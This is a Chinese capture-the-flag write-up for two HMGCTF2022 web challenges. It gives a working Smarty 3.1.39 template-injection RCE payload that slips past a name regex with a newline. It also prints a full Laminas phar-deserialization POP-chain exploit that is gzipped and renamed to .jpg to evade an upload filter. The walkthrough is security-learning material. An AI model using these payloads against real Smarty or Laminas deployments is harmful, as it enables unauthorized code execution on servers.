BUU hmgctf(复现)
没发现有这个比赛,看看buu复现一波
[HMGCTF2022]Smarty Calculator
www.zip
直接下载源码。
if(isset($_POST['data'])){
if(isset($_COOKIE['login'])) {
$data = waf($_POST['data']);
echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";
$smarty->display("string:" . $data);
}else{
echo "<script>alert(\"你还没有登录\")</script>";
}
}
可以发现一个简单过滤的smarty注入,设置一下cookie。但是似乎情况不太对。用{if}
注不了。然后输出一波smarty版本:
data={$smarty.version}
显示为3.1.39。然后谷歌了一下,似乎没有现成的exp。但是可以看到github更新日志:
修复了一个rce漏洞。谷歌可以搜到利用exp:
{function+name='rce(){};system("id");function+'}{/function}
很明显,这个用不了。本地搭建一下debug看看发生了什么。报了一个错误:
全局搜索一下在哪里报的:
if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)) {
$compiler->trigger_template_error("Function name contains invalid characters: {$_name}", null, true);
}
有个正则,检测name的值。估计绕过这个正则说不定就能rce。
一个回车就能绕过。尝试一下:
data={function+name='rce(){};system("id");%0afunction+'}{/function}
成功rce。绕过flag,直接通配符就行:
data={function+name='rce(){};system("cat+/*");%0afunction+'}{/function}
[HMGCTF2022]Fan Website
不管太多,直接先下载源码:www.zip
。一个奇怪的框架(没见过),找了半天才找到控制器。在module/Album/src/Controller/AlbumController.php
下可以看到album控制器。直接/album就能看到。然后分析action函数的触发方式,类似thinkphp的方式触发。关键函数:
public function imguploadAction()
{
$form = new UploadForm('upload-form');
$request = $this->getRequest();
if ($request->isPost()) {
// Make certain to merge the $_FILES info!
$post = array_merge_recursive(
$request->getPost()->toArray(),
$request->getFiles()->toArray()
);
$form->setData($post);
if ($form->isValid()) {
$data = $form->getData();
$base = substr($data["image-file"]["name"],-4,4);
if(in_array($base,$this->white_list)){ //白名单限制
$cont = file_get_contents($data["image-file"]["tmp_name"]);
if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
die("Not This");
}
if($data["image-file"]["size"]<3000){
die("The picture size must be more than 3kb");
}
$img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;
echo $img_path;
$form->saveImg($data["image-file"]["tmp_name"],$img_path);
}else{
echo 'Only Img Can Be Uploaded!';
}
// Form is valid, save the form!
//return $this->redirect()->toRoute('upload-form/success');
}
}
return ['form' => $form];
}
文件上传,后缀限制,大小需要3kb以上,而且文件名不可控。
public function imgdeleteAction()
{
$request = $this->getRequest();
if(isset($request->getPost()['imgpath'])){
$imgpath = $request->getPost()['imgpath'];
$base = substr($imgpath,-4,4);
if(in_array($base,$this->white_list)){ //白名单
@unlink($imgpath);
}else{
echo 'Only Img File Can Be Deleted!';
}
}
}
删除文件操作,看到路径怀疑可以phar,然后有个unlink。这个unlink可以触发phar。
所以直接搞一手phar。找链子。
全局搜索
__destruct
,在Logger.php
public function __destruct()
{
foreach ($this->writers as $writer) {
try {
$writer->shutdown();
} catch (\Exception $e) {
}
}
}
明显全局搜索shutdown看看有没有利用点。在Mail.php
public function shutdown()
{
// If there are events to mail, use them as message body. Otherwise,
// there is no mail to be sent.
if (empty($this->eventsToMail)) {
return;
}
if ($this->subjectPrependText !== null) {
// Tack on the summary of entries per-priority to the subject
// line and set it on the Laminas\Mail object.
$numEntries = $this->getFormattedNumEntriesPerPriority();
$this->mail->setSubject("{$this->subjectPrependText} ({$numEntries})");
}
// Always provide events to mail as plaintext.
$this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));
// Finally, send the mail. If an exception occurs, convert it into a
// warning-level message so we can avoid an exception thrown without a
// stack frame.
try {
$this->transport->send($this->mail);
} catch (TransportException\ExceptionInterface $e) {
trigger_error(
"unable to send log entries via email; " .
"message = {$e->getMessage()}; " .
"code = {$e->getCode()}; " .
"exception class = " . get_class($e),
E_USER_WARNING
);
}
}
$this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));
可以触发__call
,而且参数可控。全局搜索__call
,在PhpRenderer.php:
public function __call($method, $argv)
{
$plugin = $this->plugin($method);
if (is_callable($plugin)) {
return call_user_func_array($plugin, $argv);
}
return $plugin;
}
然后看看这个plugin
是否可控。
public function plugin($name, array $options = null)
{
return $this->getHelperPluginManager()->get($name, $options);
}
看getHelperPluginManager()
public function getHelperPluginManager()
{
if (null === $this->__helpers) {
$this->setHelperPluginManager(new HelperPluginManager(new ServiceManager()));
}
return $this->__helpers;
}
这个__helpers
可控,所以全局搜一波get函数。在BaseInputFilter.php
:
public function get($name)
{
if (! array_key_exists($name, $this->inputs)) {
throw new Exception\InvalidArgumentException(sprintf(
'%s: no input found matching "%s"',
__METHOD__,
$name
));
}
return $this->inputs[$name];
}
所以最终导致plugin
可控。然后直接触发call_user_func_array($plugin, $argv);
最终pop:Logger->Mail->PhpRenderer(其中里面的plugin需要BaseInputFilter进行控制)
但是还需要绕过
if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
die("Not This");
}
然后根据wp,直接用gzip压缩即可绕过。最终exp:
<?php
namespace Laminas\Log{
use Laminas\Log\Writer\Mail;
class Logger{
protected $writers;
public function __construct()
{
$this->writers = array(new Mail());
}
}
}
namespace Laminas\Log\Writer{
use Laminas\View\Renderer\PhpRenderer;
class Mail{
protected $eventsToMail = [];
protected $mail;
public function __construct()
{
$this->eventsToMail = array("cat /flag");
$this->mail = new PhpRenderer();;
}
}
}
namespace Laminas\View\Renderer{
use Laminas\InputFilter\BaseInputFilter;
class PhpRenderer{
private $__helpers;
public function __construct()
{
$this->__helpers = new BaseInputFilter();
}
}
}
namespace Laminas\InputFilter{
class BaseInputFilter{
protected $inputs = [];
public function __construct()
{
$this->inputs = array("setBody" => "system");
}
}
}
namespace{
use Laminas\Log\Logger;
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Logger();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", file_get_contents("test.txt")); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
system("gzip phar.phar");
rename("phar.phar.gz", "phar.jpg");
}
其中test.txt是一个3mb的文件,用linux直接生成:
truncate -s 3M test.txt